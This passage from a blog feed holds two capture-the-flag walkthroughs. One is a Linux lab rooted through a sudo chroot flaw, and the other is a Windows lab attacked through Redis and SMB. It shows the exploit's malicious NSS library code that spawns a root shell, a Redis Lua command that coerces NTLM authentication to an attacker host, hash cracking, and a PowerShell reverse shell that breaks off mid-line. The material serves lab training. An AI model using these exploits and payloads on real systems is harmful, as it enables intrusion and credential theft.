ciscortr.cfg which is a default configuration filename used by Cisco routers and switches during the automated bootup and provisioning process. it looks interesting let’s analyze it.</p><pre>ike@expressway:/srv/tftp$ cat ciscortr.cfg<br><br>version 12.3<br><br>no service pad<br><br>service timestamps debug datetime msec<br><br>service timestamps log datetime msec<br><br>no service password-encryption<br><br>!<br><br>hostname expressway<br><br>!<br><br>boot-start-marker<br><br>boot-end-marker<br><br>!<br><br>enable password *****<br><br>!<br><br>username ike password *****<br><br>ip subnet-zero<br><br>ip cef<br><br>!<br><br>vpdn enable<br><br> vpdn-group 1<br><br> request-dialin<br><br> protocol pppoe<br><br><br><br>!<br><br>ip dhcp excluded-address 10.0.1.1 10.0.1.10<br><br>ip dhcp excluded-address 10.0.2.1 10.0.2.10<br><br>ip dhcp excluded-address 10.0.3.1 10.0.3.10<br><br>!<br><br>ip dhcp pool vlan1<br><br>   network 10.0.1.0 255.255.255.0<br><br>   default-router 10.0.1.1<br><br>!<br><br>ip dhcp pool vlan2<br><br>   network 10.0.2.0 255.255.255.0<br><br>   default-router 10.0.2.1<br><br>!<br><br>ip dhcp pool vlan3<br><br>   network 10.0.3.0 255.255.255.0<br><br>   default-router 10.0.3.1<br><br>!<br><br>ip ips po max-events 100<br><br>no ftp-server write-enable<br><br>!<br><br>bridge irb<br><br>!<br><br>interface FastEthernet0<br><br> no ip address<br><br>!<br><br>interface FastEthernet1<br><br> no ip address<br><br>!<br><br>interface FastEthernet2<br><br> no ip address<br><br>!<br><br>interface FastEthernet3<br><br> switchport mode trunk<br><br> no ip address<br><br>!<br><br>interface FastEthernet4<br><br> ip address 192.168.68.1 255.255.255.0<br><br> no ip directed-broadcast (default)<br><br> speed auto<br><br> ip nat outside<br><br> ip access-group 103 in<br><br> no cdp enable<br><br> crypto ipsec client ezvpn ezvpnclient outside<br><br> crypto map static-map<br><br>!<br><br>crypto isakmp policy 1<br><br> encryption 3des<br><br> authentication pre-share<br><br> group 2<br><br> lifetime 480<br><br>!<br><br>crypto isakmp client configuration group rtr-remote<br><br> key secret-password<br><br> dns 208.67.222.222<br><br> domain expressway.htb<br><br> pool dynpool<br><br>!<br><br>crypto ipsec transform-set vpn1 esp-3des esp-md5<br><br>!<br><br>crypto ipsec security-association lifetime seconds 86400<br><br>!<br><br>crypto dynamic-map dynmap 1<br><br> set transform-set vpn1<br><br> reverse-route<br><br>!<br><br>crypto map static-map 1 ipsec-isakmp dynamic dynmap<br><br>crypto map dynmap isakmp authorization list rtr-remote<br><br>crypto map dynmap client configuration address respond<br><br>crypto ipsec client ezvpn ezvpnclient<br><br> connect auto<br><br> group 2 key secret-password<br><br> mode client<br><br> peer 192.168.100.1<br><br>!<br><br>interface Dot11Radio0<br><br> no ip address<br><br> !<br><br> broadcast-key vlan 1 change 45<br><br> !<br><br> encryption vlan 1 mode ciphers tkip<br><br> !<br><br> ssid cisco<br><br>     vlan 1<br><br>    authentication open<br><br>    authentication network-eap eap_methods<br><br>    authentication key-management wpa optional<br><br>  !<br><br> ssid ciscowep<br><br>  vlan 2<br><br>  authentication open<br><br>  !<br><br> ssid ciscowpa<br><br>  vlan 3<br><br>  authentication open<br><br> !<br><br> speed basic-1.0 basic-2.0 basic-5.5 6.0 9.0 basic-11.0 12.0 18.0 24.0 36.0 48.0 54.0<br><br> rts threshold 2312<br><br> power local cck 50<br><br> power local ofdm 30<br><br> channel 2462<br><br> station-role root<br><br>!<br><br>interface Dot11Radio0.1<br><br> description Cisco Open<br><br> encapsulation dot1Q 1 native<br><br> no cdp enable<br><br> bridge-group 1<br><br> bridge-group 1 subscriber-loop-control<br><br> bridge-group 1 spanning-disabled<br><br> bridge-group 1 block-unknown-source<br><br> no bridge-group 1 source-learning<br><br> no bridge-group 1 unicast-flooding<br><br>!<br><br>interface Dot11Radio0.2<br><br> encapsulation dot1Q 2<br><br> bridge-group 2<br><br> bridge-group 2 subscriber-loop-control<br><br> bridge-group 2 spanning-disabled<br><br> bridge-group 2 block-unknown-source<br><br> no bridge-group 2 source-learning<br><br>  no bridge-group 2 unicast-flooding<br><br>!<br><br>interface Dot11Radio0.3<br><br> encapsulation dot1Q 3<br><br> bridge-group 3<br><br> bridge-group 3 subscriber-loop-control<br><br> bridge-group 3 spanning-disabled<br><br> bridge-group 3 block-unknown-source<br><br> no bridge-group 3 source-learning<br><br> no bridge-group 3 unicast-flooding<br><br>!<br><br>interface Vlan1<br><br> no ip address<br><br> no ip directed-broadcast (default)<br><br> ip nat inside<br><br> crypto ipsec client ezvpn ezvpnclient inside<br><br> ip inspect firewall in<br><br> no cdp enable<br><br> bridge-group 1<br><br> bridge-group 1 spanning-disabled<br><br>!<br><br>interface Vlan2<br><br> no ip address<br><br> bridge-group 2<br><br> bridge-group 2 spanning-disabled<br><br>!<br><br>interface Vlan3<br><br> no ip address<br><br> bridge-group 3<br><br> bridge-group 3 spanning-disabled<br><br>!<br><br>interface BVI1<br><br> ip address 10.0.1.1 255.255.255.0<br><br>!<br><br>interface BVI2<br><br> ip address 10.0.2.1 255.255.255.0<br><br>!<br><br>ip classless<br><br>!<br><br>ip http server<br><br>no ip http secure-server<br><br>!<br><br>control-plane<br><br>!<br><br>bridge 1 route ip<br><br>bridge 2 route ip<br><br>bridge 3 route ip<br><br>!<br><br>ip inspect name firewall tcp <br><br>ip inspect name firewall udp<br><br>!<br><br>access-list 103 permit udp host 200.1.1.1 any eq isakmp<br><br>access-list 103 permit udp host 200.1.1.1 eq isakmp any<br><br>no cdp run<br><br>!<br><br>line con 0<br><br> password *****<br><br> no modem enable<br><br> transport preferred all<br><br> transport output all<br><br>line aux 0<br><br> transport preferred all<br><br> transport output all<br><br>line vty 0 4<br><br> password *****<br><br> transport preferred all<br><br> transport input all<br><br> transport output all<br><br>ike@expressway:/srv/tftp$</pre><p>I enumerated both but still got nothing. i tried to find exploit related to version 12.3 but nothing found. i tried again to enumerate SUID and then i noticed something unusual.</p><pre>ike@expressway:/srv/tftp$ find / -perm -4000 -type f 2&gt;/dev/null<br>/usr/sbin/exim4<br>/usr/local/bin/sudo<br>/usr/bin/passwd<br>/usr/bin/mount<br>/usr/bin/gpasswd<br>/usr/bin/su<br>/usr/bin/sudo<br>/usr/bin/umount<br>/usr/bin/chfn<br>/usr/bin/chsh<br>/usr/bin/newgrp<br>/usr/lib/dbus-1.0/dbus-daemon-launch-helper<br>/usr/lib/openssh/ssh-keysign<br>/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper<br>/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper</pre><p>there are 2 sudo binaries interesting /usr/bin/sudo looks normal.</p><pre>ike@expressway:/srv/tftp$ /usr/local/bin/sudo --version<br>Sudo version 1.9.17<br>Sudoers policy plugin version 1.9.17<br>Sudoers file grammar version 50<br>Sudoers I/O plugin version 1.9.17<br>Sudoers audit plugin version 1.9.17</pre><pre>ike@expressway:/srv/tftp$ /usr/bin/sudo --version<br>Sudo version 1.9.13p3<br>Sudoers policy plugin version 1.9.13p3<br>Sudoers file grammar version 50<br>Sudoers I/O plugin version 1.9.13p3<br>Sudoers audit plugin version 1.9.13p3<br>ike@expressway:/srv/tftp$</pre><p>i started to search some exploits related to version 1.9.17 and found something interesting.</p><p><a href="https://github.com/pr0v3rbs/CVE-2025-32463_chwoot/tree/main">GitHub - pr0v3rbs/CVE-2025-32463_chwoot: Escalation of Privilege to the root through sudo binary with chroot option. CVE-2025-32463</a></p><p>in this repo we also have some quick check tests too.</p><pre>ike@expressway:/srv/tftp$ /usr/local/bin/sudo -R woot woot<br>sudo: woot: No such file or directory<br>ike@expressway:/srv/tftp$ /usr/bin/sudo -R woot woot<br>[sudo] password for ike:<br>sudo: you are not permitted to use the -R option with woot<br>ike@expressway:/srv/tftp$ which sudo<br>/usr/local/bin/sudo<br>ike@expressway:/srv/tftp$</pre><p>with quick checks it’s confirmed that the default sudo is /usr/local/bin/sudo and it’s vulnerable to CVE-2025–32463.</p><h4>CVE-2025–32463 Exploitation.</h4><p>Download the sudo-chwoot.sh from the github repo and upload it to victim machine.</p><pre> ╰─λ scp ./sudo-chwoot.sh ike@expressway.htb:/home/ike/<br>ike@expressway.htb&#39;s password:<br>sudo-chwoot.sh                                                                                                                                                                       100% 1046     5.0KB/s   00:00</pre><p>Successfully uploaded.</p><p>Give it Executable permission and run it.</p><pre>ike@expressway:~$ chmod +x sudo-chwoot.sh<br>ike@expressway:~$ ./sudo-chwoot.sh<br>woot!<br>root@expressway:/# whoami<br>root<br>root@expressway:/# id<br>uid=0(root) gid=0(root) groups=0(root),13(proxy),1001(ike)<br>root@expressway:/# cd /root/<br>root@expressway:/root# cat root.txt<br>b4&lt;REDACTED&gt;5a<br>root@expressway:/root#</pre><p>We are root Now.</p><h3>CVE-2025–32463 Exploit Explanation</h3><h4>Overview</h4><p>Sudo is a popular Linux tool that lets users with permission run commands as another user, usually root.</p><p>The CVE-2025–32463 vulnerability lets a local user gain root privileges by misusing the sudo -R option with the Name Service Switch (NSS) mechanism.</p><p>By creating a malicious NSS configuration and library in a controlled directory, an attacker can make sudo load a shared library they control, leading to arbitrary code execution as root.</p><p>Root Cause of the Vulnerability</p><p>Linux uses the glibc Name Service Switch (NSS) to decide how to handle services like user lookup, groups, and authentication.</p><p><strong>The configuration is defined in: </strong>/etc/nsswitch.conf</p><p>Example:</p><pre>passwd: files systemd <br>group: files systemd</pre><p>This tells the system where to look when resolving users or groups.</p><p>The issue arises when sudo runs with the -R option.</p><pre>sudo -R &lt;directory&gt;</pre><p>The -R option changes the root directory used by sudo.</p><p>Due to the vulnerability, sudo loads NSS configuration and libraries from the attacker-controlled directory without properly restricting the library loading paths.</p><p>This lets an attacker inject a harmful NSS module.</p><h4>Attack Flow</h4><p>The exploit follows these steps:</p><p>1. Create a temporary staging directory <br>2. Craft a harmful shared library <br>3. Create a fake nsswitch.conf <br>4. Force sudo to load the dangerous NSS module <br>5. Execute attacker code as root</p><p>Exploit Script Breakdown</p><ol><li>Creating a Temporary Staging Directory</li></ol><pre>STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) <br>cd ${STAGE?}</pre><p>A temporary directory is created in /tmp to hold the exploit files.</p><p><strong>Example:</strong> /tmp/sudowoot.stage.ABCD12</p><p>2. Command Selection</p><pre>if [ $# -eq 0 ]; then <br> CMD=”/bin/bash” <br>else <br> CMD=”$@” <br>fi</pre><p>If no command is provided, the exploit opens a root shell.</p><p>Example usage:</p><pre>./exploit.sh</pre><p>or</p><pre>./exploit.sh id</pre><p>3. Escaping the Command</p><pre>CMD_C_ESCAPED=$(printf ‘%s’ “$CMD” | sed -e ‘s/\\/\\\\/g’ -e ‘s/”/\\”/g’)</pre><p>The command is escaped for safe embedding within a C program string.</p><p>This avoids syntax errors when compiling the exploit.</p><p>4. Creating the Malicious NSS Library</p><p>The exploit generates a C shared library:</p><pre>#include &lt;stdlib.h&gt; <br>#include &lt;unistd.h&gt;<br>__attribute__((constructor)) void woot(void) { <br> setreuid(0,0); <br> setregid(0,0); <br> chdir(“/”); <br> execl(“/bin/sh”, “sh”, “-c”, “${CMD}”, NULL); <br>}</pre><p>Key Component</p><pre>__attribute__((constructor))</pre><p>This means the function runs automatically when the library loads.</p><p>So, when sudo loads the NSS module, the code executes right away.</p><p>5. Privilege Escalation</p><pre>setreuid(0,0); <br>setregid(0,0);</pre><p>This sets:</p><p>UID = 0 <br>GID = 0</p><p>This means the process becomes root.</p><p>6. Executing the Payload</p><pre>execl(“/bin/sh”, “sh”, “-c”, “${CMD}”, NULL);</pre><p>This runs the attacker’s command.</p><p>Typically: /bin/bash</p><p>Result:</p><p>root shell</p><p>7. Creating the Malicious NSS Configuration</p><p>The exploit creates a fake NSS configuration:</p><pre>echo “passwd: /woot1337” &gt; woot/etc/nsswitch.conf</pre><p>This forces the system to load a module named: libnss_woot1337.so.2</p><p>8. Compiling the Shared Library</p><pre>gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c</pre><p>9. Triggering the Vulnerability</p><p>Finally, the exploit runs:</p><pre>sudo -R woot woot</pre><p>Because of the vulnerability:</p><p>1. sudo uses woot/ as the root directory <br>2. loads woot/etc/nsswitch.conf <br>3. loads the harmful NSS module <br>4. library constructor executes <br>5. root shell spawns</p><p>Final Result</p><pre>uid=0(root) gid=0(root)</pre><p>Full root access is gained.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e379f33d1d40" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[VulnNet Active TryHackMe Writeup]]></title>
            <link>https://medium.com/@phantom_hat/vulnnet-active-341e0835ca73?source=rss-51d141216272------2</link>
            <guid isPermaLink="false">https://medium.com/p/341e0835ca73</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[vulnnet]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[phantom_hat]]></dc:creator>
            <pubDate>Fri, 06 Mar 2026 20:52:59 GMT</pubDate>
            <atom:updated>2026-03-06T20:55:32.368Z</atom:updated>
            <content:encoded><![CDATA[<p>بِسْمِ ٱللَّٰهِ ٱلرَّحْمَٰنِ ٱلرَّحِيم</p><h3>Synopsis</h3><p>Overview</p><p>VulnNet: Active is a Windows-based system that specializes in privilege escalation, credential harvesting, and service enumeration.</p><p>An exposed Redis service permits unauthorized access during reconnaissance.<br>An NTLMv2 hash is obtained and cracked to obtain legitimate credentials by abusing Redis Lua scripting with a UNC path.</p><p>The credentials grant write access to an SMB share that houses a PowerShell script that the system runs. Initial access is obtained by changing this script to incorporate a reverse shell. Lastly, a Potato-style attack is used to abuse the SeImpersonatePrivilege in order to gain SYSTEM privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/0*wGrHS9ERB1tuR9dR.png" /></figure><p><a href="https://tryhackme.com/room/vulnnetactive">VulnNet: Active</a></p><h3>Recon</h3><p>Machine is Booted up Let’s start with Nmap to enumerate the Target</p><pre>nmap -sS -A -p- - min-rate 10000 -T5 -O -sV -sC -vv - reason 10.48.136.214 -oA report<br># Nmap 7.98 scan initiated Fri Mar 6 17:53:34 2026 as: nmap -sS -A -p- - min-rate 10000 -T5 -O -sV -sC -vv - reason -oA report 10.48.136.214<br>Nmap scan report for 10.48.136.214<br>Host is up, received echo-reply ttl 126 (0.049s latency).<br>Scanned at 2026–03–06 17:53:35 PKT for 127s<br>Not shown: 65525 filtered tcp ports (no-response)<br>PORT STATE SERVICE REASON VERSION<br>53/tcp open domain syn-ack ttl 126 Simple DNS Plus<br>135/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC<br>139/tcp open netbios-ssn syn-ack ttl 126 Microsoft Windows netbios-ssn<br>445/tcp open microsoft-ds? syn-ack ttl 126<br>6379/tcp open redis syn-ack ttl 126 Redis key-value store 2.8.2402<br>49666/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC<br>49669/tcp open ncacn_http syn-ack ttl 126 Microsoft Windows RPC over HTTP 1.0<br>49670/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC<br>49677/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC<br>49786/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC<br>Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port<br>Device type: general purpose<br>Running (JUST GUESSING): Microsoft Windows 2019 (96%)<br>OS CPE: cpe:/o:microsoft:windows_server_2019<br>OS fingerprint not ideal because: Timing level 5 (Insane) used<br>Aggressive OS guesses: Windows Server 2019 (96%)<br>No exact OS matches for host (test conditions non-ideal).<br>TCP/IP fingerprint:<br>SCAN(V=7.98%E=4%D=3/6%OT=53%CT=%CU=%PV=Y%DS=3%DC=T%G=N%TM=69AACECE%P=x86_64-pc-linux-gnu)<br>SEQ(TS=U)<br>SEQ(II=I%TS=U)<br>OPS(O1=M4E8NW8NNS%O2=M4E8NW8NNS%O3=M4E8NW8%O4=M4E8NW8NNS%O5=M4E8NW8NNS%O6=M4E8NNS)<br>WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)<br>ECN(R=Y%DF=Y%TG=80%W=FFFF%O=M4E8NW8NNS%CC=Y%Q=)<br>T1(R=Y%DF=Y%TG=80%S=O%A=S+%F=AS%RD=0%Q=)<br>T2(R=N)<br>T3(R=N)<br>T4(R=N)<br>U1(R=N)<br>IE(R=Y%DFI=N%TG=80%CD=Z)<br>Network Distance: 3 hops<br>Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows<br>Host script results:<br>| smb2-time:<br>| date: 2026–03–06T12:55:06<br>|_ start_date: N/A<br>| smb2-security-mode:<br>| 3.1.1:<br>|_ Message signing enabled and required<br>| p2p-conficker:<br>| Checking for Conficker.C or higher…<br>| Check 1 (port 25437/tcp): CLEAN (Timeout)<br>| Check 2 (port 36106/tcp): CLEAN (Timeout)<br>| Check 3 (port 36395/udp): CLEAN (Timeout)<br>| Check 4 (port 31041/udp): CLEAN (Timeout)<br>|_ 0/4 checks are positive: Host is CLEAN or ports are blocked<br>|_clock-skew: -1s<br>TRACEROUTE (using port 445/tcp)<br>HOP RTT ADDRESS<br>1 47.33 ms 192.168.128.1<br>2 …<br>3 50.23 ms 10.48.136.214<br>Read data files from: /usr/bin/../share/nmap<br>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br># Nmap done at Fri Mar 6 17:55:42 2026–1 IP address (1 host up) scanned in 128.44 seconds</pre><p>according to output we have some interesting services running. Redis and SMB.</p><p>Two intriguing services jump out of the scan results:</p><p>SMB (445) Redis (6379)</p><p>Redis services were selected as the first attack vector because they are frequently misconfigured and may permit unauthenticated access.</p><p>Firstly i tried to find exploit related to that redis version but nothing found.</p><h3>Redis Enumeration</h3><p>Redis is an in-memory key-value store. It is also used for caching. While enumerating the target system, the Redis service was found running. By accessing the Redis service, the keys stored on the system, which may contain sensitive information, can sometimes be accessed if the Redis service is configured incorrectly. An attacker may gain the power to view information, modify information, or even write files on the system if the Redis service is configured incorrectly.<br>As we don’t have any credentials let’s try unauthenticated access to Redis server it’s like anonymous access to ftp so let’s give it a try to access redis server without any creds</p><pre>redis-cli -h 10.48.136.214</pre><pre>10.48.136.214:6379&gt; info<br># Server<br>redis_version:2.8.2402<br>redis_git_sha1:00000000<br>redis_git_dirty:0<br>redis_build_id:b2a45a9622ff23b7<br>redis_mode:standalone<br>os:Windows<br>arch_bits:64<br>multiplexing_api:winsock_IOCP<br>process_id:4072<br>run_id:1a5ab3a1447390acdf69be9210d51d3217dc93fb<br>tcp_port:6379<br>uptime_in_seconds:1053<br>uptime_in_days:0<br>hz:10<br>lru_clock:11194605<br>config_file:<br># Clients<br>connected_clients:1<br>client_longest_output_list:0<br>client_biggest_input_buf:0<br>blocked_clients:0<br># Memory<br>used_memory:952800<br>used_memory_human:930.47K<br>used_memory_rss:919256<br>used_memory_peak:952800<br>used_memory_peak_human:930.47K<br>used_memory_lua:36864<br>mem_fragmentation_ratio:0.96<br>mem_allocator:dlmalloc-2.8<br># Persistence<br>loading:0<br>rdb_changes_since_last_save:0<br>rdb_bgsave_in_progress:0<br>rdb_last_save_time:1772801232<br>rdb_last_bgsave_status:ok<br>rdb_last_bgsave_time_sec:-1<br>rdb_current_bgsave_time_sec:-1<br>aof_enabled:0<br>aof_rewrite_in_progress:0<br>aof_rewrite_scheduled:0<br>aof_last_rewrite_time_sec:-1<br>aof_current_rewrite_time_sec:-1<br>aof_last_bgrewrite_status:ok<br>aof_last_write_status:ok<br># Stats<br>total_connections_received:2<br>total_commands_processed:4<br>instantaneous_ops_per_sec:0<br>total_net_input_bytes:98<br>total_net_output_bytes:0<br>instantaneous_input_kbps:0.00<br>instantaneous_output_kbps:0.00<br>rejected_connections:0<br>sync_full:0<br>sync_partial_ok:0<br>sync_partial_err:0<br>expired_keys:0<br>evicted_keys:0<br>keyspace_hits:0<br>keyspace_misses:0<br>pubsub_channels:0<br>pubsub_patterns:0<br>latest_fork_usec:0<br># Replication<br>role:master<br>connected_slaves:0<br>master_repl_offset:0<br>repl_backlog_active:0<br>repl_backlog_size:1048576<br>repl_backlog_first_byte_offset:0<br>repl_backlog_histlen:0<br># CPU<br>used_cpu_sys:0.09<br>used_cpu_user:0.09<br>used_cpu_sys_children:0.00<br>used_cpu_user_children:0.00<br># Keyspace<br>10.48.136.214:6379&gt;</pre><p>Unfortunately the Keyspace is empty we so no data here. We have to try different things<br>We can use a technique <strong><em>Redis Lua dofile NTLM Hash Leak via UNC Path Coercion</em></strong> and we can capture the hash using responder Let’s Attack.<br>let’s start responder on the attacker machine</p><pre>responder -I tun0</pre><pre>EVAL &quot;dofile(&#39;//&lt;Attacker-IP&gt;/test&#39;)&quot; 0</pre><p>Run the command on the Redis server after replacing your real IP address with &lt;Attacker-IP&gt;. Redis can run Lua scripts with the EVAL command. In this instance, the Redis server is forced to access a remote UNC path hosted on the attacker’s computer by dofile(‘//&lt;Attacker-IP&gt;/test’). Windows automatically performs NTLM authentication when it tries to access this SMB path, which can be captured by Responder.<br>Since the only objective is to send an SMB authentication request to the attacker’s computer so that the NTLM hash can be obtained, the /test file is not required.</p><pre>[SMB] NTLMv2-SSP Client : 10.48.136.214<br>[SMB] NTLMv2-SSP Username : VULNNET\enterprise-security<br>[SMB] NTLMv2-SSP Hash : enterprise-security::VULNNET:a&lt;REDACTED&gt;004C000700080080BBB8C695ADDC0106000400020000000800300030000000000000000000000000300000C240977D70E1EAC0770F02FF33320C4326082761ED020565EE44288661CD09FB0A001000000000000000000000000000000000000900260063006900660073002F003100390032002E003100360038002E003200340034002E00310038000000000000000000</pre><p>Hash Captured let’s crack it using hashcat.</p><pre>hashcat hash.hash /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt<br>hashcat (v7.1.2) starting in autodetect mode<br>OpenCL API (OpenCL 3.0 PoCL 7.1 Linux, Release, RELOC, LLVM 20.1.8, SLEEF, DISTRO, CUDA, POCL_DEBUG) - Platform #1 [The pocl project]<br>======================================================================================================================================<br>* Device #01: cpu-haswell-Intel(R) Core(TM) i5–6200U CPU @ 2.30GHz, 1862/3725 MB (1862 MB allocatable), 4MCU<br>Hash-mode was not specified with -m. Attempting to auto-detect hash mode.<br>The following mode was auto-detected as the only one matching your input hash:<br>5600 | NetNTLMv2 | Network Protocol<br>NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!<br>Do NOT report auto-detect issues unless you are certain of the hash type.<br>Minimum password length supported by kernel: 0<br>Maximum password length supported by kernel: 256<br>Minimum salt length supported by kernel: 0<br>Maximum salt length supported by kernel: 256<br>Hashes: 1 digests; 1 unique digests, 1 unique salts<br>Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates<br>Rules: 1<br>Optimizers applied:<br>* Zero-Byte<br>* Not-Iterated<br>* Single-Hash<br>* Single-Salt<br>ATTENTION! Pure (unoptimized) backend kernels selected.<br>Pure kernels can crack longer passwords, but drastically reduce performance.<br>If you want to switch to optimized kernels, append -O to your commandline.<br>See the above message to find out about the exact limits.<br>Watchdog: Temperature abort trigger set to 90c<br>Host memory allocated for this attack: 513 MB (2107 MB free)<br>Dictionary cache hit:<br>* Filename..: /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt<br>* Passwords.: 14344385<br>* Bytes…..: 139921513<br>* Keyspace..: 14344385<br>ENTERPRISE-SECURITY::VULNNET:aaaab4fcfbbe0924:&lt;REDACTED&gt;000000000:&lt;REDACTED&gt;<br>Session……….: hashcat<br>Status………..: Cracked<br>Hash.Mode……..: 5600 (NetNTLMv2)<br>Hash.Target……: ENTERPRISE-SECURITY::VULNNET:aaaab4fcfbbe0924:c477a…000000<br>Time.Started…..: Fri Mar 6 18:22:34 2026 (5 secs)<br>Time.Estimated…: Fri Mar 6 18:22:39 2026 (0 secs)<br>Kernel.Feature…: Pure Kernel (password length 0–256 bytes)<br>Guess.Base…….: File (/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt)<br>Guess.Queue……: 1/1 (100.00%)<br>Speed.#01……..: 908.8 kH/s (3.09ms) @ Accel:1024 Loops:1 Thr:1 Vec:8<br>Recovered……..: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)<br>Progress………: 4014080/14344385 (27.98%)<br>Rejected………: 0/4014080 (0.00%)<br>Restore.Point….: 4009984/14344385 (27.96%)<br>Restore.Sub.#01..: Salt:0 Amplifier:0–1 Iteration:0–1<br>Candidate.Engine.: Device Generator<br>Candidates.#01…: sanduleo -&gt; sand400ex<br>Hardware.Mon.#01.: Temp: 70c Util: 76%<br>Started: Fri Mar 6 18:22:30 2026<br>Stopped: Fri Mar 6 18:22:40 2026</pre><p>Now we have a valid user Let’s Enumerate SMB Server.</p><p>bad news the machine is dead now i restarted that with new IP hahaha idk what happened i extended the machine time to 2 hrs but it dies after 1 hr and shows 1 hr is still remaining to terminate. hahahaha<br>SMB Enumeration<br>Let’s Enumerate shares and see what interesting things we got.</p><pre>netexec smb 10.48.187.214 -u enterprise-security -p &lt;REDACTED&gt; - shares<br>SMB 10.48.187.214 445 VULNNET-BC3TCK1 [*] Windows 10 / Server 2019 Build 17763 x64 (name:VULNNET-BC3TCK1) (domain:vulnnet.local) (signing:True) (SMBv1:None) (Null Auth:True)<br>SMB 10.48.187.214 445 VULNNET-BC3TCK1 [+] vulnnet.local\enterprise-security:&lt;REDACTED&gt;<br>SMB 10.48.187.214 445 VULNNET-BC3TCK1 [*] Enumerated shares<br>SMB 10.48.187.214 445 VULNNET-BC3TCK1 Share Permissions Remark<br>SMB 10.48.187.214 445 VULNNET-BC3TCK1 - - - - - - - - - - - - <br>SMB 10.48.187.214 445 VULNNET-BC3TCK1 ADMIN$ Remote Admin<br>SMB 10.48.187.214 445 VULNNET-BC3TCK1 C$ Default share<br>SMB 10.48.187.214 445 VULNNET-BC3TCK1 Enterprise-Share READ,WRITE<br>SMB 10.48.187.214 445 VULNNET-BC3TCK1 IPC$ READ Remote IPC<br>SMB 10.48.187.214 445 VULNNET-BC3TCK1 NETLOGON READ Logon server share<br>SMB 10.48.187.214 445 VULNNET-BC3TCK1 SYSVOL READ Logon server share</pre><p>Interesting we have access to non default share Enterprise-Share with Read and Write Permission, it’s interesting. let’s access it and see what things we have.</p><pre>■[\\10.48.187.214\]&gt; shares<br>┏━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━┓<br>┃ Share ┃ Visibility ┃ Type ┃ Description ┃<br>┡━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━┩<br>│ ADMIN$ │ Hidden │ DISKTREE, SPECIAL │ Remote Admin │<br>│ C$ │ Hidden │ DISKTREE, SPECIAL │ Default share │<br>│ Enterprise-Share │ Visible │ DISKTREE │ │<br>│ IPC$ │ Hidden │ IPC, SPECIAL │ Remote IPC │<br>│ NETLOGON │ Visible │ DISKTREE │ Logon server share │<br>│ SYSVOL │ Visible │ DISKTREE │ Logon server share │<br>└──────────────────┴────────────┴───────────────────┴─────────────────────┘<br>■[\\10.48.187.214\]&gt; use Enterprise-Share<br>■[\\10.48.187.214\Enterprise-Share\]&gt; ls<br>d - - - - 0.00 B 2026–03–06 19:01 .\<br>d - - - - 0.00 B 2026–03–06 19:01 ..\<br>-a - - - 69.00 B 2021–02–24 05:33 PurgeIrrelevantData_1826.ps1<br>■[\\10.48.187.214\Enterprise-Share\]&gt; cat PurgeIrrelevantData_1826.ps1<br>rm -Force C:\Users\Public\Documents\* -ErrorAction SilentlyContinue<br>■[\\10.48.187.214\Enterprise-Share\]&gt;</pre><p>Wow amazing we got a script in that share and remember we have write access means we can modify our script no matter if we write a hello world or a reverse shell we can write anything to this script.<br>Thought for a second. the script looks like a simulated user or most most most probably a scheduled task is executing this script just to remove the contents in the `C:\Users\Public\Documents\*` if our assumption is correct and there is a simulated user or scheduled task then definately we would get the shell on the Machine. Let’s give it a try.</p><h3>Initial Access</h3><p>So the attack is straight forward we would write Powershell Reverse Shell on that Powershell Script and when the script got executed then we got a reverse shell on our listener.</p><p>Step 1: Get that script from SMB Share.</p><pre>■[\\10.48.187.214\Enterprise-Share\]&gt; get PurgeIrrelevantData_1826.ps1<br>&#39;PurgeIrrelevantData_1826.ps1&#39; ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 69/69 bytes • ? • 0:00:00<br>■[\\10.48.187.214\Enterprise-Share\]&gt;</pre><p>Downloaded Successfully.</p><p>Step 2: Edit it and write any powershell reverse shell i am using this reverse shell from <a href="https://www.revshells.com/">https://www.revshells.com/</a></p><pre>$LHOST = &quot;&lt;Attacker-IP&gt;&quot;; $LPORT = &lt;Listener-Port&gt;; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length 